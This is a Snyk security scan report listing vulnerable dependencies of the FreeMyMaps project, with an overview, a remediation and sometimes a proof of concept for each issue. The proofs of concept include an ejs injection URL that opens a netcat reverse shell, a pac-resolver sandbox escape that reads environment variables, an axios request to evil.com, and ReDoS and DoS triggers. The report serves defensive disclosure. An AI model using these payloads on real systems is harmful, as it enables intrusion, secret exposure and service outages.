dhull33/FreeMyMaps:package.json

Snyk’s security scan found the following vulnerabilities.
Ready to fix your vulnerabilities? Automatically find, fix, and monitor vulnerabilities for free with Snyk.

Vulnerabilities

20 via 31 paths

Dependencies

545

Source

GitHub

Commit

9160f1b0

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 20
  • 2
Severity
  • 9
  • 13
Status
  • 22
  • 0
  • 0

high severity

Remote Code Execution (RCE)

  • Vulnerable module: ejs
  • Introduced through: ejs-compiled-loader@3.1.0

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 ejs-compiled-loader@3.1.0 ejs@2.7.4

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.

PoC:

Creation of reverse shell:

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

Remediation

Upgrade ejs to version 3.1.7 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: pac-resolver
  • Introduced through: pm2@4.5.6

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 pm2@4.5.6 @pm2/agent@1.0.8 proxy-agent@4.0.1 pac-proxy-agent@4.1.0 pac-resolver@4.2.0
    Remediation: Upgrade to pm2@5.0.0.

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE). This can occur when used with untrusted input, due to unsafe PAC file handling.

In order to exploit this vulnerability in practice, this either requires an attacker on your local network, a specific vulnerable configuration, or some second vulnerability that allows an attacker to set your config values.

NOTE: The fix for this vulnerability is applied in the node-degenerator library, a dependency is written by the same maintainer.

PoC

const pac = require('pac-resolver');

// Should keep running forever (if not vulnerable):
setInterval(() => {
    console.log("Still running");
}, 1000);

// Parsing a malicious PAC file unexpectedly executes unsandboxed code:
pac(`
    // Real PAC config:
    function FindProxyForURL(url, host) {
        return "DIRECT";
    }

    // But also run arbitrary code:
    var f = this.constructor.constructor(\`
        // Running outside the sandbox:
        console.log('Read env vars:', process.env);
        console.log('!!! PAC file is running arbitrary code !!!');
        console.log('Can read & could exfiltrate env vars ^');
        console.log('Can kill parsing process, like so:');
        process.exit(100); // Kill the vulnerable process
        // etc etc
    \`);

    f();

Remediation

Upgrade pac-resolver to version 5.0.0 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ansi-regex
  • Introduced through: html-webpack-plugin@4.5.2

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 html-webpack-plugin@4.5.2 pretty-error@2.1.2 renderkid@2.0.7 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to html-webpack-plugin@5.5.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*.

PoC

import ansiRegex from 'ansi-regex';

for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ansi-regex to version 3.0.1, 4.1.1, 5.0.1, 6.0.1 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: dicer
  • Introduced through: sqreen@1.64.2

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 sqreen@1.64.2 sq-ecosystem@0.21.1 busboy@0.3.1 dicer@0.3.0

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.

PoC

await fetch('http://127.0.0.1:8000', { method: 'POST', headers: { ['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro', ['content-length']: '145', connection: 'keep-alive', }, body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--' });

Remediation

There is no fixed version for dicer.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: semver
  • Introduced through: pm2@4.5.6

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 pm2@4.5.6 @pm2/agent@1.0.8 semver@7.2.3
    Remediation: Upgrade to pm2@5.0.0.

Overview

semver is a semantic version parser used by npm.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

PoC


const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})

const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade semver to version 5.7.2, 6.3.1, 7.5.2 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: ws
  • Introduced through: pm2@4.5.6

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 pm2@4.5.6 @pm2/agent@1.0.8 ws@7.2.5
    Remediation: Upgrade to pm2@5.0.0.

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS) when the number of received headers exceed the server.maxHeadersCount or request.maxHeadersCount threshold.

Workaround

This issue can be mitigating by following these steps:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.

  2. Set server.maxHeadersCount to 0 so that no limit is applied.

PoC


const http = require('http');
const WebSocket = require('ws');

const server = http.createServer();

const wss = new WebSocket.Server({ server });

server.listen(function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: server.address().port
  });

  request.end();
});

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade ws to version 5.2.4, 6.2.3, 7.5.10, 8.17.1 or higher.

References

high severity

Cross-site Request Forgery (CSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.21.4, pm2@4.5.6 and others

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 axios@0.21.4
    Remediation: Upgrade to axios@0.28.0.
  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 pm2@4.5.6 @pm2/js-api@0.6.7 axios@0.21.4
    Remediation: Upgrade to pm2@5.3.1.
  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 sqreen@1.64.2 sqreen-sdk@0.8.1 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in all requests to any server when the XSRF-TOKEN0 cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.

Workaround

Users should change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.

Remediation

Upgrade axios to version 0.28.0, 1.6.0 or higher.

References

high severity
new

AGPL-3.0 license

  • Module: @pm2/agent
  • Introduced through: pm2@4.5.6

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 pm2@4.5.6 @pm2/agent@1.0.8

AGPL-3.0 license

high severity
new

AGPL-3.0 license

  • Module: pm2
  • Introduced through: pm2@4.5.6

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 pm2@4.5.6

AGPL-3.0 license

medium severity

Server-Side Request Forgery (SSRF)

  • Vulnerable module: ip
  • Introduced through: sqreen@1.64.2 and pm2@4.5.6

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 sqreen@1.64.2 ip@1.1.9
  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 pm2@4.5.6 @pm2/agent@1.0.8 proxy-agent@4.0.1 pac-proxy-agent@4.1.0 pac-resolver@4.2.0 ip@1.1.9

Overview

ip is a Node library.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF) via the isPublic function, which identifies some private IP addresses as public addresses due to improper parsing of the input. An attacker can manipulate a system that uses isLoopback(), isPrivate() and isPublic functions to guard outgoing network requests to treat certain IP addresses as globally routable by supplying specially crafted IP addresses.

Note

This vulnerability derived from an incomplete fix for CVE-2023-42282

Remediation

There is no fixed version for ip.

References

medium severity

SQL Injection

  • Vulnerable module: pg-promise
  • Introduced through: pg-promise@10.15.4

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 pg-promise@10.15.4
    Remediation: Upgrade to pg-promise@11.5.5.

Overview

pg-promise is a PostgreSQL interface for Node.js

Affected versions of this package are vulnerable to SQL Injection when using the simple query mode. Since pgFormatting is enabled by default, pg-promise escapes parameter values before inserting them into a query string.

When a placeholder is directly preceded by a minus - and not separated by any whitespace, pg-promise does not handle the particular case when a negative number is inserted for the placeholder. This leads to two consecutive minus signs in the query, turning them into the start of a line comment.

Note:

To exploit this behavior and cause SQL Injection, the following conditions must be met by a parameterized query:

  1. a placeholder for a numeric value must be immediately preceded by a minus (as described above).

  2. there must be a second placeholder for a string value after the first placeholder; both must be on the same line.

  3. both parameter values must be user-controlled

Remediation

Upgrade pg-promise to version 11.5.5 or higher.

References

medium severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: tar
  • Introduced through: sqreen@1.64.2

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 sqreen@1.64.2 sq-native@1.0.10 tar@4.4.19
  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 sqreen@1.64.2 sq-native@1.0.10 binary-downloader@0.2.0 tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the lack of folders count validation during the folder creation process. An attacker who generates a large number of sub-folders can consume memory on the system running the software and even crash the client within few seconds of running it using a path with too many sub-folders inside.

Remediation

Upgrade tar to version 6.2.1 or higher.

References

medium severity

  • Vulnerable module: cookie
  • Introduced through: raven@2.6.4

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 raven@2.6.4 cookie@0.3.1

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the cookie name, path, or domain, which can be used to set unexpected values to other cookie fields.

Workaround

Users who are not able to upgrade to the fixed version should avoid passing untrusted or arbitrary values for the cookie fields and ensure they are set by the application instead of user input.

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade cookie to version 0.7.0 or higher.

References

medium severity
new

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.21.4, pm2@4.5.6 and others

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 axios@0.21.4
    Remediation: Upgrade to axios@0.30.0.
  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 pm2@4.5.6 @pm2/js-api@0.6.7 axios@0.21.4
    Remediation: Upgrade to pm2@5.3.1.
  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 sqreen@1.64.2 sqreen-sdk@0.8.1 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.

PoC

const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');

Remediation

Upgrade axios to version 0.30.0, 1.8.2 or higher.

References

medium severity
new

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.21.4, pm2@4.5.6 and others

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 axios@0.21.4
    Remediation: Upgrade to axios@0.30.0.
  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 pm2@4.5.6 @pm2/js-api@0.6.7 axios@0.21.4
    Remediation: Upgrade to pm2@5.3.1.
  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 sqreen@1.64.2 sqreen-sdk@0.8.1 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.

Remediation

Upgrade axios to version 0.30.0, 1.8.3 or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: rimraf@3.0.2 and pm2@4.5.6

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 rimraf@3.0.2 glob@7.2.3 inflight@1.0.6
  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 pm2@4.5.6 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: axios@0.21.4, pm2@4.5.6 and others

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 axios@0.21.4
    Remediation: Upgrade to axios@0.29.0.
  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 pm2@4.5.6 @pm2/js-api@0.6.7 axios@0.21.4
    Remediation: Upgrade to pm2@5.3.1.
  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 sqreen@1.64.2 sqreen-sdk@0.8.1 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.

PoC

const axios = require('axios');

console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');

console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');


/* stdout
t1: 60.826ms
t2: 5.826s
*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.29.0, 1.6.3 or higher.

References

medium severity

Improper Control of Dynamically-Managed Code Resources

  • Vulnerable module: ejs
  • Introduced through: ejs-compiled-loader@3.1.0

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 ejs-compiled-loader@3.1.0 ejs@2.7.4

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.

Note:

Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty method.

Remediation

Upgrade ejs to version 3.1.10 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: html-minifier
  • Introduced through: ejs-compiled-loader@3.1.0

Detailed paths

  • Introduced through: freemymaps@dhull33/FreeMyMaps#9160f1b0a1ff66e3eaf588866d0fdf52bf9a1038 ejs-compiled-loader@3.1.0 html-minifier@4.0.0

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the value parameter of the minify function. This vulnerability derives from the usage of insecure regular expression in reCustomIgnore.

PoC

  const { minify } = require('html-minifier');

const testReDoS = (repeatCount) => {
    const input = '\t'.repeat(repeatCount) + '.\t1x';

    const startTime = performance.now();

    try {
        minify(input);
    } catch (e) {
        console.error('Error during minification:', e);
    }

    const endTime = performance.now();
    console.log(`Input length: ${repeatCount} - Processing time: ${endTime - startTime} ms`);
};


for (let i = 5000; i <= 60000; i += 5000) {
    testReDoS(i);
}

Details

